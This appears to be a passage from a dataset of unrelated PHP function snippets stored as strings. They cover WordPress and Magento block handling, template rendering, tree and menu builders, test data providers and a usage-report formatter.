remove all underscores\n $namespace = str_replace('_', '', $namespace);\n // replace / by \\\n $namespace = str_replace('/', '\\\\', $namespace);\n\n return $namespace;\n }", "function getTemplateVariableContainer() ;", "function get_comment_delimited_block_content($block_name, $block_attributes, $block_content)\n {\n }", "public function load_blocks_list() {\n $tmp_blocks = apply_filters('wpucacheblocks_blocks', array());\n $blocks = array();\n foreach ($tmp_blocks as $id => $block) {\n /* Path ex : /tpl/header/block.php */\n if (!isset($block['fullpath']) && !isset($block['path'])) {\n /* A path should always be defined */\n continue;\n }\n /* Full path to the file */\n if (!isset($block['fullpath'])) {\n $block['fullpath'] = get_stylesheet_directory() . $block['path'];\n }\n\n /* Reload hooks */\n if (!isset($block['reload_hooks']) || !is_array($block['reload_hooks'])) {\n $block['reload_hooks'] = array();\n } else {\n /* Keep a list of all hooks used */\n foreach ($block['reload_hooks'] as $hook) {\n $this->reload_hooks[$hook] = $hook;\n }\n }\n\n if (!isset($block['minify'])) {\n $block['minify'] = true;\n }\n\n /* Expiration time */\n if (!isset($block['expires'])) {\n $block['expires'] = 3600;\n } else {\n /* Allow infinite lifespan for a cached block ( no front reload ) */\n if ($block['expires'] == 0) {\n $block['expires'] = false;\n }\n }\n $blocks[$id] = $block;\n }\n return $blocks;\n }", "private function dataBaseRepresentation() {\n\t\t$array['website'] = $this->website;\n\t\t$array['name'] = $this->name;\n\t\t$array['country'] = $this->country;\n\t\treturn $array;\n\t}", "public function getTreeData($nb_language = null, $dataonly = false)\n {\n $trdata = parent::getTreeData($nb_language, $dataonly);\n \n $trdata['attributes'] = $this->getAttributes();\n $trdata = $this->appendTranslatedTreeData($trdata, $nb_language, $dataonly);\n \n return $trdata;\n }", "private function parse(array $block): array\n {\n $raw = get_field('data');\n $className = trim(array_key_exists('className', $block) ? $block['className'] : '');\n\n unset($raw['']);\n\n $data = array(\n 'block' => (object) [\n 'id' => $block['id'],\n 'classList' => !empty($className) ? explode(' ', $className) : [],\n 'className' => $className,\n 'anchor' => !empty($block['anchor']) ? $block['anchor'] : $block['id']\n ],\n 'raw' => !empty($block['data']) ? (object) $block['data'] : (object) [],\n 'data' => !empty($raw) ? (object) $raw : (object) [],\n 'template' => 'blocks::' . $this->getId()\n );\n\n return $this->filter($data, $block);\n }", "function getBlockOutputs() {\n\tglobal $settings;\n\t//echo \"getting blocks\";\n\t\n\t$blockOutput = array();\n\t\n\t$blocksTmp = file_get_contents($settings['channelMemoryMapsFile']);\n\t\n\t//print_r($blocksTmp);\n\t\n\t$blocks = explode(\"\\n\",$blocksTmp);\n\t\n\t//print_r($blocks);\n\t$blockIndex=0;\n\t\n\tfor($blockIndex =0; $blockIndex<=count($blocks)-1;$blockIndex++) {\n\t\t$blockParts = explode(\",\",$blocks[$blockIndex]);\n\t\t$blockOutput[] = $blockParts[0];\n\t\t//$blockIndex++;\n\t\t//$blockOutput [] =\n\t}\n\t//print_r($blockOutput);\n\t\n\treturn $blockOutput;\n}", "public function DataGenerateArray() {\n $data = $this->GenerateArray();\n return $data['data']; \n }", "function getGeneralChildren()\n {\n $children['purchased_at']['arguments']['data']['config']['default'] = date('Y-m-d');\n $children['supplier_id']['arguments']['data']['config']['component'] = 'MageSuper_Casat/js/form/element/suplier';\n $supliers_currency_data = $this->getSuppliersCurrencyDataJson();\n $children['supplier_id']['arguments']['data']['config']['currency_data'] = $supliers_currency_data;\n return $children;\n }", "private function replaceDynamics($tpl, $blocks, $tID=''){\n\t\t\t//find and replace dynamic blocks\n\t\t\tif($this->settings->render_cache_level == 1){\n\t\t\t\t$posStart = strpos($tpl, '<pp:dynamic ');\n\t\t\t\twhile ($posStart !== false) {\n\t\t\t\t\t$startEnd = strpos($tpl, '>', $posStart + 15);\n\t\t\t\t\t$nameTag = trim(substr($tpl, $posStart + 11, $startEnd-11-$posStart));\n\t\t\t\t\t$nameTag = substr($nameTag, 6, -1);\n\t\t\t\t\t\n\t\t\t\t\t$nextStart = strpos($tpl, '<pp:dynamic ', $posStart + 20);\n\t\t\t\t\t$posEnd = strpos($tpl, '</pp:dynamic>', $posStart) + Template::DCTL;\n\t\n\t\t\t\t\twhile($nextStart !== false && $nextStart < $posEnd && $posEnd > Template::DCTL){\n\t\t\t\t\t\t$posEnd = strpos($tpl, '</pp:dynamic>', $posEnd) + Template::DCTL;\n\t\t\t\t\t\t$nextStart = strpos($tpl, '<pp:dynamic', $nextStart+20);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$tpl = substr_replace($tpl, '\\'.@$blocks[\\''.$nameTag.'\\'].\\'', $posStart, $posEnd - $posStart);\n\t\t\t\t\t\n\t\t\t\t\t$posStart = strpos($tpl, '<pp:dynamic ', $posStart + 20);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tforeach ($blocks as $key => $value) {\n\t\t\t\t\t\n\t\t\t\t\t$posStart = strpos($tpl, '<pp:dynamic name=\"'.$key.'\">');\n\n\t\t\t\t\tif($posStart !== false){\n\t\t\t\t\t\t$nextStart = strpos($tpl, '<pp:dynamic', $posStart + 20);\n\t\t\t\t\t\t$posEnd = strpos($tpl, '</pp:dynamic>', $posStart) + Template::DCTL;\n\t\t\t\t\t\t\n\t\t\t\t\t\twhile($nextStart !== false && $nextStart < $posEnd && $posEnd > Template::DCTL){\n\t\t\t\t\t\t\t$posEnd = strpos($tpl, '</pp:dynamic>', $posEnd) + Template::DCTL;\n\t\t\t\t\t\t\t$nextStart = strpos($tpl, '<pp:dynamic', $nextStart+20);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t$tpl = substr_replace($tpl, $value, $posStart, $posEnd - $posStart);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$this->_msg(str_replace(array('{@pp:dynamic}', '{@pp:template}'), array($key, $tID), $this->_('DYNAMIC_NOT_FOUND', 'core')), Messages::DEBUG_ERROR);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\treturn $tpl;\n\t\t}", "private function dataBaseRepresentation() {\n\t\t$array['recipe'] \t\t= $this->recipeId;\n\t\t$array['name'] \t\t\t= $this->name;\n\t\t$array['description'] \t= $this->description;\n\t\t$array['url'] \t\t\t= $this->url;\n\t\treturn $array;\n\t}", "public function getDataParentName()\r\n\t{\r\n\t\tif (is_null($this->data_parent))\r\n\t\t{\r\n\t\t\t$this->data_parent = $this->getDataParent();\r\n\t\t}\r\n\t\tif ( ! is_null($this->data_parent))\r\n\t\t\treturn $this->data_parent->name;\r\n\r\n\t\treturn NULL;\r\n\t}", "protected function _getBlockArray()\n {\n return array(\n \n /*\n * Minicart section\n */\n array(\n 'version' => '0.0.1',\n 'identifier' => 'header_contact_information',\n 'stores' => [0],\n 'title' => 'Header Contact Information',\n 'content' => <<<HTML\n<div id=\"phone-hrs\">\n <a href=\"https://goo.gl/maps/seJQCD3gzao\" target=\"_blank\">Visit Us</a> or Call Us: <a id=\"phone-number\" href=\"tel:+18009387925\">(800) 938-7925</a> &nbsp;&nbsp; Today's Hours: 7:00am - 6:00pm\n</div>\nHTML\n ),\n array(\n 'version' => '0.0.3',\n 'identifier' => 'home_sidebar',\n 'stores' => [0],\n 'title' => 'Home Sidebar',\n 'content' => <<<HTML\n<div class=\"sidebar\">\n <div class=\"home-side-menu\">\n <h2 class=\"side-menu-title\">CATEGORIES</h2>\n {{block class=\"Smartwave\\Megamenu\\Block\\Topmenu\" name=\"sw.sidenav\" template=\"Smartwave_Megamenu::sidemenu.phtml\" ttl=\"3600\"}} </div>\n <!-- start -->\n <div id=\"ads-slider-demo-9\">\n <div class=\"item\">\n <h2><a href=\"#\">Blog Articles</a></h2>\n <ul class=\"recent-blog\" style=\"list-style:none; padding-inline-start:12px; padding-right:12px;\">\n <li><a title=\"Bosch Laser Level - GLL3-330CG\" href=\"https://www.masterwholesale.com/blog/bosch-green-line-laser-level-review/\" target=\"_blank\">Review: Bosch Green Line Laser Level</a></li>\n <li><a title=\"Makita LXT Lithium Ion Cordless Brushless Angle Grinder\" href=\"https://www.masterwholesale.com/blog/makita-18v-lxt-lithium-ion-cordless-brushless-angle-grinder-review/\" target=\"_blank\">Review: Makita&nbsp;<span>LXT Cordless Brushless Angle Grinder&nbsp;</span></a></li>\n <li><a title=\"Mixing Laticrete PermaColor Grout\" href=\"https://www.masterwholesale.com/blog/how-to-mix-small-batch-laticrete-permacolor-select-grout/\" target=\"_blank\">How to Mix a Small Batch of Laticrete PermaColor Grout</a></li>\n <li><a title=\"Polishing Tile Edges with Diamond Hand Polishing Pads\" href=\"https://www.masterwholesale.com/blog/polish-stone-porcelain-tile-diamond-hand-polishing-pads/\" target=\"_blank\">How to Polish Tile Edges w/ Diamond Hand Polishing Pads</a></li>\n <li><a title=\"Stoning Porcelain and Stone Tile\" href=\"https://www.masterwholesale.com/blog/stone-edge-porcelain-tile-stone/\" target=\"_blank\">How to Stone or Edge Porcelain and Stone Tiles</a></li>\n <li><a title=\"Bridge Saw vs Sliding Table Saw\" href=\"https://www.masterwholesale.com/blog/366-2/\" target=\"_blank\">Bridge Saw vs Sliding Table Saw</a></li>\n <li><a title=\"How to Core with a Diamond Core Drill Bit\" href=\"https://www.masterwholesale.com/blog/dry-core-drill-tile-stone/\" target=\"_blank\">How to Dry Core Drill on Stone or Tile</a></li>\n <li><a title=\"How to Reopen a diamond Core Bit \" href=\"https://www.masterwholesale.com/blog/master-wholesale-reopen-diamond-core-bit/\" target=\"_blank\">How to Sharpen or Reopen a Diamond Core Bit</a></li>\n <li><a title=\"Resin Glass Blade Shootout\" href=\"https://www.masterwholesale.com/blog/resin-glass-blade-shootout/\" target=\"_blank\">Resin Glass Blade Shootout with Blake Adsero</a></li>\n <li><a title=\"Makita Polishing Kit\" href=\"https://www.masterwholesale.com/blog/makita-pw5001c-wet-polishing-kit-master-wholesale/\" target=\"_blank\">How to Polish an Exposed Edge on Stone Tile</a></li>\n <li><a title=\"Deluxe Dry Polishing Kit\" href=\"https://www.masterwholesale.com/blog/?p=254\" target=\"_self\">MWI Deluxe Dry Polishing Kit Demo</a></li>\n <li><a title=\"Laser Level Shootout\" href=\"https://www.masterwholesale.com/blog/laser-level-shootout/\" target=\"_self\">Laser Level Shootout</a></li>\n <li><a title=\"Ishii Tile Cutters\" href=\"https://www.masterwholesale.com/blog/how-to-assemble-and-use-the-ishii-blue-tile-cutters/\" target=\"_self\">How to Assemble and Use Ishii BlueTile Cutters</a></li>\n <li><a title=\"Diamond Blade Shootout\" href=\"https://www.masterwholesale.com/blog/tile-saw-diamond-blade-shootout/\" target=\"_self\">Tile Saw Diamond Blade Shootout</a></li>\n </ul>\n </div>\n </div>\n <!-- end --> \n <!-- start -->\n <div id=\"ads-slider-demo-9\" class=\"owl-carousel\">\n <div class=\"item\" style=\"text-align:center;\"> <img src=\"\" alt=\"\" style=\"display:inline-block;\"/> </div>\n </div>\n <!-- end --> \n <!-- start -->\n <div id=\"ads-slider-demo-9\">\n <div class=\"item\" style=\"text-align:center;\"> {{block class=\"Magento\\Framework\\View\\Element\\Template\" name=\"single_special\" template=\"Magento_Catalog::product/view/single_special.phtml\" ttl=\"3600\"}} </div>\n </div>\n <!-- end --> \n </div>\nHTML\n ),\n );\n }", "protected function prepareMyData(){\n\t\tglobal $C;\n if( $this->id > 0 ){\n $this->get( \"`id`={$this->id}\" );\n $this->unstoreSfield();\n }\n\t\t$C->setID( $this->data['parent'] );\n\t\t$C->get( \"`id`={$this->data['parent']}\" );\n\t\t$C->unstoreSfield();\n $p = $C->getData();\n if( is_array( $p ) ){\n\t\t\tT::assign( \"parent\", $p[\"name\"] );\n\t\t\t$fieldlist=array();\n if( is_array( $p[\"fields\"] ) )\n foreach( $p[\"fields\"] as $key => $item ){\n $fieldlist[] = array( \"cnt\" => $key, \"name\" => $item, \"value\"=> $this->data[$this->sfield][$key] );\n }\n\t\t\tT::assign( \"fieldlist\", $fieldlist );\n }\n\t\tT::assign( \"f\", $this->sfield );\n\t\tT::assign( \"item\",$this->data );\t\t\n\t}", "public function getDataTree() {\n $array = [\n 'id' => $this->id,\n 'name' => $this->name,\n 'type' => $this->type,\n 'data' => ['href' => route('sensors.edit', $this->id)],\n 'children' => []\n ];\n\n foreach( $this->children as $child ) {\n $array['children'][] = $child->getDataTree();\n }\n\n return $array;\n }", "public static function hookData() {\r\n return array_merge_recursive( array (\r\n 'contentComment' => \r\n array (\r\n 0 => \r\n array (\r\n 'selector' => 'li.ipsDataItem > div.ipsDataItem_main > div.ipsType_break.ipsContained > h4.ipsType_sectionHead.ipsContained > a.ipsType_blendLinks > span.cSearchResultHighlight',\r\n 'type' => 'add_before',\r\n 'content' => '{{if $comment->item()->prefix()}}\r\n\t{{$prefix = \\IPS\\Application::load(\"advancedtagsprefixes\")->getPrefixByTitle( $comment->item()->prefix() );}}\r\n\t{{if $prefix instanceof \\IPS\\advancedtagsprefixes\\Prefix and $prefix->id}}\r\n\t\t{$prefix->pre|raw}\r\n\t\t{{if $prefix->showtitle}}\r\n\t\t\t{$comment->item()->prefix()}\r\n\t\t{{endif}}\r\n\t\t{$prefix->post|raw}\r\n\t{{endif}}\r\n{{endif}}',\r\n ),\r\n ),\r\n), parent::hookData() );\r\n}", "public function getTestIterationData()\n {\n $out = [];\n\n $rawData = [\n [\n 'key' => 'weak',\n 'doc_count' => 2,\n 'agg_test_agg_2' => [\n 'buckets' => [\n [\n 'key' => '*-20.0',\n 'to' => 20.0,\n 'to_as_string' => '20.0',\n 'doc_count' => 1,\n ],\n [\n 'key' => '20.0-*',\n 'from' => 20.0,\n 'from_as_string' => '20.0',\n 'doc_count' => 1,\n ],\n ],\n ],\n ],\n [\n 'key' => 'solid',\n 'doc_count' => 1,\n 'agg_test_agg_2' => [\n 'buckets' => [\n [\n 'key' => '*-20.0',\n 'to' => 20.0,\n 'to_as_string' => '20.0',\n 'doc_count' => 1,\n ],\n [\n 'key' => '20.0-*',\n 'from' => 20.0,\n 'from_as_string' => '20.0',\n 'doc_count' => 0,\n ],\n ],\n ],\n ],\n ];\n\n $out[] = [\n 'test_agg',\n new AggregationIterator($rawData, $this->getConverter()),\n ];\n\n $rawData = [\n [\n 'key' => '*-20.0',\n 'to' => 20.0,\n 'to_as_string' => '20.0',\n 'doc_count' => 1,\n ],\n [\n 'key' => '20.0-*',\n 'from' => 20.0,\n 'from_as_string' => '20.0',\n 'doc_count' => 1,\n ],\n ];\n\n $out[] = [\n 'test_agg.0.test_agg_2',\n new AggregationIterator($rawData, $this->getConverter()),\n ];\n\n return $out;\n }", "public function writeScriptBlocks() {\n $scriptblock = '';\n //Get Shared content\n \n // options voor iedere graph\n foreach ($this->graphs as $graph){\n $scriptblock .= $graph->getOptionScript();\n }\n // plots & keybinds (AJAX)\n foreach ($this->graphs as $graph){\n $scriptblock .= $graph->getDataScript();\n $scriptblock .= $graph->getPlotScript();\n $scriptblock .= $graph->getBindScripts();\n }\n \n //Add shared section. Needs a graph to funciton\n //$scriptblock .= $this->getSharedBlock();\n \n return $scriptblock;\n }", "private function getComponentProvidedData(string $namespace): array\n {\n $component = $this->componentFactory->create($namespace);\n $this->prepareChildComponents($component);\n\n return $component->getContext()->getDataProvider()->getData();\n }", "private function getComponentProvidedData(string $namespace): array\n {\n $component = $this->componentFactory->create($namespace);\n $this->prepareChildComponents($component);\n\n return $component->getContext()->getDataProvider()->getData();\n }", "public function dataHeredocString()\n {\n return [\n [\n 'testMarker' => '/* testSimple1 */',\n 'expectedContent' => '$foo',\n ],\n [\n 'testMarker' => '/* testSimple2 */',\n 'expectedContent' => '{$foo}',\n ],\n [\n 'testMarker' => '/* testSimple3 */',\n 'expectedContent' => '${foo}',\n ],\n [\n 'testMarker' => '/* testDIM1 */',\n 'expectedContent' => '$foo[bar]',\n ],\n [\n 'testMarker' => '/* testDIM2 */',\n 'expectedContent' => '{$foo[\\'bar\\']}',\n ],\n [\n 'testMarker' => '/* testDIM3 */',\n 'expectedContent' => '${foo[\\'bar\\']}',\n ],\n [\n 'testMarker' => '/* testProperty1 */',\n 'expectedContent' => '$foo->bar',\n ],\n [\n 'testMarker' => '/* testProperty2 */',\n 'expectedContent' => '{$foo->bar}',\n ],\n [\n 'testMarker' => '/* testMethod1 */',\n 'expectedContent' => '{$foo->bar()}',\n ],\n [\n 'testMarker' => '/* testClosure1 */',\n 'expectedContent' => '{$foo()}',\n ],\n [\n 'testMarker' => '/* testChain1 */',\n 'expectedContent' => '{$foo[\\'bar\\']->baz()()}',\n ],\n [\n 'testMarker' => '/* testVariableVar1 */',\n 'expectedContent' => '${$bar}',\n ],\n [\n 'testMarker' => '/* testVariableVar2 */',\n 'expectedContent' => '${(foo)}',\n ],\n [\n 'testMarker' => '/* testVariableVar3 */',\n 'expectedContent' => '${foo->bar}',\n ],\n [\n 'testMarker' => '/* testNested1 */',\n 'expectedContent' => '${foo[\"${bar}\"]}',\n ],\n [\n 'testMarker' => '/* testNested2 */',\n 'expectedContent' => '${foo[\"${bar[\\'baz\\']}\"]}',\n ],\n [\n 'testMarker' => '/* testNested3 */',\n 'expectedContent' => '${foo->{$baz}}',\n ],\n [\n 'testMarker' => '/* testNested4 */',\n 'expectedContent' => '${foo->{${\\'a\\'}}}',\n ],\n [\n 'testMarker' => '/* testNested5 */',\n 'expectedContent' => '${foo->{\"${\\'a\\'}\"}}',\n ],\n ];\n\n }", "public function buildNamespaceValueArray($nameSpace, $key, $value)\n {\n $nameSpaceChunks = GeneralUtility::trimExplode('.', $nameSpace);\n \n $returnArray = [];\n $pointer = &$returnArray;\n \n // Build array\n foreach ($nameSpaceChunks as $chunk) {\n $pointer = &$pointer[$chunk];\n }\n\n // Add value\n $pointer[$key] = $value;\n return $returnArray;\n }", "private function MenusData($id_parent=0) {\n $i=0;\n $id_group = id_auth_group();\n if (!$id_group) {\n return;\n }\n $this->CI =& get_instance();\n $this->CI->load->database();\n $data = $this->CI->db\n ->join('auth_menu','auth_menu.id_auth_menu=auth_menu_group.id_auth_menu','left')\n ->where('auth_menu_group.id_auth_group',$id_group)\n ->where('auth_menu.parent_auth_menu',$id_parent)\n ->order_by('auth_menu.position','asc')\n ->order_by('auth_menu.id_auth_menu','asc')\n ->get('auth_menu_group')\n ->result_array();\n foreach ($data as $row => $val) {\n $data[$row]['children'] = $this->MenusData($val['id_auth_menu']);\n $i++;\n }\n return $data;\n }", "protected function buildBreadcrumbsData()\n {\n $breadcrumbs = null;\n\n if ($block = $this->getBreadcrumbsBlock()) {\n $crumbs = $block->getCrumbs();\n if (is_array($crumbs)) {\n $breadcrumbs = array(\n \"@context\" => \"http://schema.org\",\n \"@type\" => \"BreadcrumbList\",\n \"itemListElement\" => array(),\n );\n\n $position = 1;\n foreach ($crumbs as $crumb) {\n if ($crumb[\"link\"]) {\n $breadcrumbs[\"itemListElement\"][] = array(\n \"@type\" => \"ListItem\",\n \"position\" => $position++,\n \"item\" => array(\n \"@id\" => $crumb[\"link\"],\n \"name\" => $crumb[\"label\"],\n ),\n );\n }\n }\n }\n }\n\n Mage::dispatchEvent(\"meanbee_osd_after_build_breadcrumbs_data\", array(\n \"breadcrumbs_data\" => $breadcrumbs,\n ));\n\n $this->setBreadcrumbsData($breadcrumbs);\n\n return $this;\n }", "private function generateTemplatePaths($data, $prefix = []): array\n {\n\n $keyStrings = [];\n\n foreach ($data as $key => $value) {\n $currentPrefix = $prefix;\n\n if (false === is_array($value)) {\n $currentPrefix[] = $value;\n $keyStrings[] = $currentPrefix;\n continue;\n }\n\n $currentPrefix[] = $key;\n $subKeyStrings = $this->generateTemplatePaths($value, $currentPrefix);\n $keyStrings = array_merge($keyStrings, $subKeyStrings);\n }\n\n return $keyStrings;\n }", "public function getData()\n {\n $routes = $this->routeCollector->getData();\n $data = array();\n foreach ($routes[0] as $method => $paths) {\n foreach ($paths as $path => $handler) {\n if (is_array($handler) && isset($handler['name'])) {\n $data[$handler['name']] = $path;\n }\n }\n }\n\n foreach ($routes[1] as $method) {\n foreach ($method as $group) {\n $data = array_merge($data, $this->parseDynamicGroup($group));\n }\n }\n\n return $data;\n }", "function get_subelements($element, $i = 1)\n\t\t{\n\t\t\t$output = \"\";\n\t\t\t\t\t\n\t\t\tforeach($element['subelements'] as $key => $subelement)\n\t\t\t{\n\t\t\t\tif(isset($element['std']) && is_array($element['std']) && isset($element['std'][$i][$subelement['id']]))\n\t\t\t\t{\n\t\t\t\t\t$subelement['std'] = $element['std'][$i][$subelement['id']];\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif(isset($element['ajax_request']))\n\t\t\t\t{\n\t\t\t\t\t$subelement['ajax_request'] = $element['ajax_request'];\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$subelement['subgroup_item'] = true;\n\t\t\t\t$subelement['id'] = $element['id'].\"-__-\".$subelement['id'];\n\t\t\t\t\n\t\t\t\tif(isset($element['apply_all'])) $subelement['apply_all'] = $element['apply_all'];\n\t\t\t\t$output .= $this->render_single_element($subelement);\n\t\t\t}\n\t\t\t\n\t\t\treturn $output;\n\t\t}", "public function getTreeData($nb_language = null, $dataonly = false)\n {\n $trdata = parent::getTreeData($nb_language, $dataonly);\n \n $trdata['attributes'] = $this->getAttributes();\n \n return $trdata;\n }", "public function getTreeData($nb_language = null, $dataonly = false)\n {\n $trdata = parent::getTreeData($nb_language, $dataonly);\n \n $trdata['attributes'] = $this->getAttributes();\n \n return $trdata;\n }", "function jsonSerialize()\n {\n $blockSerialized = [];\n foreach ($this->blocks as $block)\n {\n $blockSerialized[] = $block->jsonSerialize();\n }\n\n return $blockSerialized;\n }", "function splitProperties($item_data)\r\n {\r\n\t\t\t$properties = array();\r\n\t\t\tforeach($item_data as $property)\r\n\t\t\t{\r\n\t\t\t\t$properties[$property['name']]['data'] = $property['data'];\r\n\t\t\t\t$properties[$property['name']]['attr'] = $property['attr'];\r\n\t\t\t\tif (sizeof($property['child']))\r\n\t\t\t\t{\r\n\t foreach($property['child'] as $k=>$p)\r\n\t {\r\n\t $properties[$property['name'].\"_\".$p['name'].$k]['data'] = $p['data'];\r\n\t \t\t\t $properties[$property['name'].\"_\".$p['name'].$k]['attr'] = $p['attr'];\r\n\t \t\t\t if (sizeof($p['child']))\r\n\t \t\t\t {\r\n\t foreach($p['child'] as $q)\r\n\t {\r\n\t \tif (isset($properties[$property['name'].\"_\".$p['name'].$k.\"_\".$q['name']]))\r\n\t \t{\r\n\t \tif (!isset($properties[$property['name'].\"_\".$p['name'].$k.\"_\".$q['name']]['nbre']))\r\n\t \t{\r\n\t \t$properties[$property['name'].\"_\".$p['name'].$k.\"_\".$q['name']]['nbre'] = 0;\r\n\t \t$properties[$property['name'].\"_\".$p['name'].$k.\"_\".$q['name'].'0'] = $properties[$property['name'].\"_\".$p['name'].$k.\"_\".$q['name']];\r\n\t \t}\r\n\t \t$properties[$property['name'].\"_\".$p['name'].$k.\"_\".$q['name']]['nbre']++;\r\n\t \t$q['name'] = $q['name'].$properties[$property['name'].\"_\".$p['name'].$k.\"_\".$q['name']]['nbre'];\r\n\t }\r\n\r\n\t $properties[$property['name'].\"_\".$p['name'].$k.\"_\".$q['name']]['data'] = $q['data'];\r\n\t $properties[$property['name'].\"_\".$p['name'].$k.\"_\".$q['name']]['attr'] = $q['attr'];\r\n\t }\r\n\t }\r\n\t }\r\n\t }\r\n\t\t\t}\r\n\t\t\treturn $properties;\r\n }", "function tpl_create_content_closure (array $data, $output=false) {\n \n /**\n * A content helper.\n * \n * @param mixed $key array of paths or string property path \n * separated by a forward slash.\n * @param mixed $default a default value to use if no property \n * was found at the path or the property\n * value is null or empty\n * \n * @return mixed null if this closure was created with $output=true\n * or the value found at the given path\n * or the value of $default\n * \n * @example\n * \n * // string paths\n * $cOut('some/deep/property', 'Or a default value');\n * $var = $cVal('some/deep/property', 'Or a default value');\n * \n * // array paths\n * $cOut(array('some', 'deep', 'property', 'Or a default value');\n * $var = * $cVal(array('some', 'deep', 'property', 'Or a default value');\n */\n return function ($key, $default=null) use ($data, $output) {\n\n $parts = is_array($key) ? $key : explode('/', $key);\n $content = array_nested_key_exists($parts, $data) ?\n array_nested_get($parts, $data) : \n null;\n\n if ($default !== null && string_is_null_or_empty($content)) {\n $content = $default;\n }\n \n if (!$output) {\n return $content;\n }\n\n echo $content;\n\n };\n\n }", "public function getArrNamePath() : array {\n $url = [];\n \n if ($this->hasParent()) {\n $parent = $this->getParent();\n $url = \\array_merge($url, $parent->getArrNamePath());\n }\n $url[] = $this->getPageName();\n return $url;\n }", "public function views_data() {\n $data = parent::views_data();\n //dsm($data);\n $data['tincan_statement']['stored'] = array(\n 'title' => t('Stored'),\n 'help' => t('Stored date value, the date the statement was stored'),\n 'field' => array(\n 'handler' => 'tincan_lrs_handler_field_datetime',\n 'click sortable' => TRUE,\n ),\n 'sort' => array(\n 'handler' => 'tincan_lrs_handler_sort_date',\n ),\n 'filter' => array(\n 'handler' => 'tincan_lrs_handler_filter_datetime',\n ),\n 'argument' => array(\n 'handler' => 'views_handler_argument_tincanlrs_fulldate',\n ),\n );\n $data['tincan_statement']['timestamp'] = array(\n 'title' => t('Timestamp'),\n 'help' => t('Timestamp of the statement'),\n 'field' => array(\n 'handler' => 'tincan_lrs_handler_field_datetime',\n 'click sortable' => TRUE,\n ),\n 'sort' => array(\n 'handler' => 'tincan_lrs_handler_sort_date',\n ),\n 'filter' => array(\n 'handler' => 'tincan_lrs_handler_filter_datetime',\n ),\n 'argument' => array(\n 'handler' => 'views_handler_argument_tincanlrs_fulldate',\n ),\n );\n return $data;\n }", "abstract protected function _generateDataCollection();", "function chicago_2011_dynamic_region_builder($region_data, $container_width, $vars)\n{\n // let's cycle the region data, and determine what we have\n foreach ($region_data AS $region => $info) {\n // if we do have content for this region, let's create it.\n if ($info['data']) {\n\n $width = !empty($info['primary']) ? $container_width : $info['width'];\n $vars[$region . '_classes'] = !empty($info['primary']) ? ns('grid-' . _chicago_2011_dynamic_widths($width, $info['related'], $vars)) : ns('grid-' . $info['width']);\n // we know we have stuff to put here, so we can check for push & pull options\n if ($info['pull']) {\n // looks like we do wanna pull, or this value would have been false, so let's boogie\n $vars[$region . '_classes'] .= ' ' . ns('pull-' . _chicago_2011_dynamic_zones($info['pull']['width'], $info['pull']['conditions'], $vars));\n //krumo('Pulling '. $region .' '. $vars[$region .'_classes']);\n }\n if ($info['push']) {\n // looks like a push\n $vars[$region . '_classes'] .= ' ' . ns('push-' . _chicago_2011_dynamic_zones($info['push']['width'], $info['push']['conditions'], $vars));\n //krumo('Pushing '. $region .' '. $vars[$region .'_classes']);\n //krumo('Should be pushing '. $info['push']['width'] .' grids.');\n //krumo($info['push']['conditions']);\n }\n }\n // currently ignored becuase we have not given prefix/suffix class options\n // to the primary content zones... this will become active again later\n if (!empty($info['spacing']) && is_array($info['spacing'])) {\n foreach ($info['spacing'] AS $attribute => $value) {\n if ($value) {\n $vars[$region . '_classes'] .= ' ' . $attribute . '-' . $value;\n }\n }\n }\n // \\unused prefix/suffix stuffs\n }\n return $vars;\n}", "public function formatData(){\n $from = $this->dataObject->getFrom();\n\n // prepare array for counterxmlbuild with vendor informations\n $data = array(\n 'Report' => array (\n 0 => array(\n // Report attributes\n 'Created' => date('Y-m-d\\TH:i:s'),\n 'ID' => 'ID01', //TODO\n 'Version' => $this->dataObject->getVersion(),\n 'Name' => $this->dataObject->getReportName(),\n 'Title' => $this->dataObject->getReportTitle(),\n // Vendor node\n 'Vendor' => array(\n 'Name' => VENDOR_NAME,\n 'ID' => VENDOR_ID,\n 'Contact' => array(\n 0 => array(\n 'Contact' => VENDOR_CONTACT_NAME,\n 'E-mail' => VENDOR_CONTACT_MAIL\n ),\n ),\n 'WebSiteUrl' => VENDOR_WEBSITEURL,\n 'LogoUrl' => VENDOR_LOGOURL,\n ),\n ),\n ),\n );\n\n // prepare with customer informations\n $data['Report'][0]['Customer'][0] = $this->dataObject->getCustomerInfo();\n\n $j=0; // ReportItem\n $y=0; // ItemPerfomance\n $previousIdentifier = '';\n $count = 0;\n\n foreach ($this->dataObject->getData() as $row) {\n if (!($row['identifier'] == $previousIdentifier)) {\n // next Reportitem\n $j++;\n // reset ItemPerfomance\n $y=0;\n\n $data['Report'][0]['Customer'][0]['ReportItems'][$j]['ItemPlatform'] = 'TODO'; //TODO\n $data['Report'][0]['Customer'][0]['ReportItems'][$j]['ItemDataType'] = 'TODO'; //TODO\n $data['Report'][0]['Customer'][0]['ReportItems'][$j]['ItemName'] = $row['identifier'];\n }\n\n $data['Report'][0]['Customer'][0]['ReportItems'][$j]['ItemPerformance'][$y]['Period']['Begin'] = date('Y-m-d', strtotime($row['date']));\n $data['Report'][0]['Customer'][0]['ReportItems'][$j]['ItemPerformance'][$y]['Period']['End'] = date('Y-m-d', strtotime('last day of this month', strtotime($row['date'])));\n $data['Report'][0]['Customer'][0]['ReportItems'][$j]['ItemPerformance'][$y]['Category'] = 'TODO'; //TODO\n\n // check for different counts\n $x=0; // Instance\n\n // TODO: implement/translate format for different metric types\n $data['Report'][0]['Customer'][0]['ReportItems'][$j]['ItemPerformance'][$y]['Instance'][$x]['MetricType'] = 'ft_total';\n $data['Report'][0]['Customer'][0]['ReportItems'][$j]['ItemPerformance'][$y]['Instance'][$x]['Count'] = $row['counter'];\n\n $y++; //next ItemPerformance\n $previousIdentifier = $row['identifier'];\n $count++;\n }\n\n $counterxmlbuild = new CounterXMLBuilder();\n $counterxmlbuild->setIndentString(\"\\t\");\n $counterxmlbuild->start();\n $counterxmlbuild->add_reports($data);\n $counterxmlbuild->done();\n return $this->formattedData = $counterxmlbuild->outputMemory();\n }", "public function testCompileBlockGrandChildMustCompile4()\n {\n touch($this->smarty->getTemplateDir(0) . 'test_block_parent.tpl');\n 